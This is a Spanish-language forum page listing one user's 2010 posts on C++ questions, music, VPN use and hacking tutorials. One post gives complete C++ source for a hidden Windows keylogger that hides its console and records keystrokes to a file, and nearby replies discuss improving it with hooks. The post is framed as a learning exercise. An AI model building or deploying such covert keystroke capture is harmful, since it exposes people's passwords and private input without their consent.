Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - M3LiNdR1

#31
Cita de: nicolas_cof en  2 Junio 2010, 11:50 AM
Estaria bueno que pongas tu codigo entre etiquetas GeSHI, si no dudo que alguien lo quiera leer :P

[code=cpp][/code]

Mmmm yo mucho de C++ no conozco, pero hacer esto me parece un poco redundante...

...
class Empleado{
public:
    string nombre;
    int edad;

public:
    Empleado(string nom, int ed=18){
     nombre=nom;
     edad=ed;
    }
...


Creo que con un public seria mas que suficiente... (Que me corriga si no alguien experto en el lenguaje)

Salu10.

Debe estar mal, seguramente el primer public tiener que ser un private, a nose que quieras acceder a esos dos campos desde fuera la clase. (No me mirado el codigo entero).
#32
Cita de: *PsYkE1* en  1 Junio 2010, 12:55 PM
Cita de: M3LiNdR1 en  1 Junio 2010, 12:52 PM
No me ha gustado el ultimo cd de Pendulum, el Immersion...
:o :o :o :o
A mi me encanto... :-(
[youtube=425,350]http://www.youtube.com/watch?v=P0pOkJVb2BQ[/youtube]
Salu2!


Se estan desviando un poco de sus raíces, escucha el Hold your colour, suena d&B. Se estan tirando mas al lado del rock, que mola, pero nose, creo que se estan volviendo muy comerciales...

#33
Mientras mantengas el ritmo de "tupa tu tu tupa" es d&B xD

No me ha gustado el ultimo cd de Pendulum, el Immersion...

Si os mola el jungle: Subfocus, TC, ShyFX, Dj Hype.....
#34
Programación C/C++ / Re: Keylogger en C++
1 Junio 2010, 00:08 AM
Cita de: GNU López en 29 Mayo 2010, 22:00 PM
Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?

Mmmm....si, he encontrado este proyecto por internet, por si te interesa:
http://sourceforge.net/projects/lkl/



Gracias Horricreu  y seba123neo, ya entiendo que son...Esq claro yo en principio pensaba usar algun evento en java y hacer el programa en java, pero claro, solo podia aplicar los eventos de los controles. Voy a ver si existen hooks en java y como tratarlos ;)

Sino c++ :)
#35
Cita de: winroot en 30 Mayo 2010, 20:50 PM
Cita de: El_nuevo_HH en 30 Mayo 2010, 20:41 PM
La definicion no deberia ser en un .cpp, en el que incluyes el .h? Digo yo  :xD

Saludos...
que yo sepa, cuando se compila el .cpp que tiene la definición se pasa a .o en el caso de min gw.

queda
libro.h
libro.o
pero bueno, por si acaso en un rato cuando la haga de nuevo pruevo.
gracias y saludos!
edito:
será el  próximo  miércoles, me acaba de llegar un correo con tarea para la escuela :huh:
saludos

En el archivo donde uses los metodos enlazas el archivo.h o en su caso si es c++ .hpp. Compilar solo se compilan los .cpp que luego al obtener el .o (fichero objeto) los enlazas con los otros ficheros objeto de las otras clases.

Acerca de tu pregunta de porque no te funciona el codigo, yo creo que tiene razon El_nuevo_HH. Tienes que poner el nombre del fichero headers entre comillas dobles.

#36
Programación C/C++ / Re: Keylogger en C++
29 Mayo 2010, 21:57 PM
CitarHay algo raro... pero... será que en la función keys() tienes muchos GetAnseyKeyState? Creo que lo correcto sería llamar a esta última una única vez, y en la función keys, hacer un switch de la tecla leída.

Con una sola llamada? y entonces como lo tratas para cada boton del teclado?



Cita de: Horricreu en 29 Mayo 2010, 21:32 PM
Es mejor utilizar hooks, te ahorras mucho código y va mejor  ;)

Saludos  :P

Que es esto de los hooks???, lo he leído por el foro. Pero no lo entiendo.
#37
C++,Java,PHP
#38
Programación C/C++ / Keylogger en C++
29 Mayo 2010, 14:07 PM
Pues os enseño el codigo que he programado, basandome, en lo que he leído por Internet. Acepto críticas y consejos :).
Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:

Código (cpp) [Seleccionar]

#include <iostream>
#include <windows.h>
using namespace std;


char keys() {
char c = '/';
if (GetAsyncKeyState('A')) c = 'A';
else if (GetAsyncKeyState('B')) c = 'B';
else if (GetAsyncKeyState('C')) c = 'C';
else if (GetAsyncKeyState('D')) c = 'D';
else if (GetAsyncKeyState('E')) c = 'E';
else if (GetAsyncKeyState('F')) c = 'F';
else if (GetAsyncKeyState('G')) c = 'G';
else if (GetAsyncKeyState('H')) c = 'H';
else if (GetAsyncKeyState('I')) c = 'I';
else if (GetAsyncKeyState('J')) c = 'J';
else if (GetAsyncKeyState('K')) c = 'K';
else if (GetAsyncKeyState('L')) c = 'L';
else if (GetAsyncKeyState('M')) c = 'M';
else if (GetAsyncKeyState('N')) c = 'N';
else if (GetAsyncKeyState('O')) c = 'O';
else if (GetAsyncKeyState('P')) c = 'P';
else if (GetAsyncKeyState('Q')) c = 'Q';
else if (GetAsyncKeyState('R')) c = 'R';
else if (GetAsyncKeyState('S')) c = 'S';
else if (GetAsyncKeyState('T')) c = 'T';
else if (GetAsyncKeyState('U')) c = 'U';
else if (GetAsyncKeyState('V')) c = 'V';
else if (GetAsyncKeyState('W')) c = 'W';
else if (GetAsyncKeyState('X')) c = 'X';
else if (GetAsyncKeyState('Y')) c = 'Y';
else if (GetAsyncKeyState('Z')) c = 'Z';
else if (GetAsyncKeyState('1')) c = '1';
else if (GetAsyncKeyState('2')) c = '2';
else if (GetAsyncKeyState('3')) c = '3';
else if (GetAsyncKeyState('4')) c = '4';
else if (GetAsyncKeyState('5')) c = '5';
else if (GetAsyncKeyState('6')) c = '6';
else if (GetAsyncKeyState('7')) c = '7';
else if (GetAsyncKeyState('8')) c = '8';
else if (GetAsyncKeyState('9')) c = '9';
else if (GetAsyncKeyState('0')) c = '0';
else if (GetAsyncKeyState(VK_SHIFT)) c = '^';
else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
else if (GetAsyncKeyState(VK_BACK)) c = ' ';
return c;
}

int main() {
FreeConsole(); //Esconde el terminal
FILE *f;
f = fopen("file.txt","w"); //Crea i abre un archivo
char c = ' ';
while(c != 0x1B) {
c = keys();
if (c != '/') {
fprintf( f , "%c",c); //Escribe el caracter en el archivo
//cout << c;
}
Sleep(120); //Interrumpe el programa durante 120 milisegundos
}
fclose(f);
AllocConsole(); //Muestra el terminal
cout << "FIN DE PROGRAMA :)" << endl;
}


Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.

Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?


Esto es todo!! Espero sus opiniones.

P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.


Muchas gracias!!  :D
#39
Cita de: Artikbot en  4 Mayo 2010, 22:32 PM
Eso hace años que funciona y hace años que la gente se lo pasa por el forro con un simple proxy.


Pues que quieres que te diga, tengo un amiga trabajando en la expo de shangai, y como tiene que estar 8 meses viviendo allí, me pidio que le buscase alguna manera de conectarte al facebook y otras paginas web.


Le hice provar proxies, programas como Tor, de todo, pero no funciono. Al final lo solucioné conectandose mediante VPN.

Saludos!
#40
Hola,

Este es el primero de una serie de tutoriales de informatica y hacking. Este precisamente es muy basico, explica el concepto de shell y los comandos mas usuales, espero que la gente principiante le ayude.

Pongan sus comentarios, haber que les ha parecido.

A, el link de descarga:

http://www.mediafire.com/?iizrnnoriez


El proximo que haré se titulara: "Obtencion de shell remota a traves de ssh"


Muchas gracias ;)



EDITO: :S, esto iria a hacking basico no? como meto la pata :(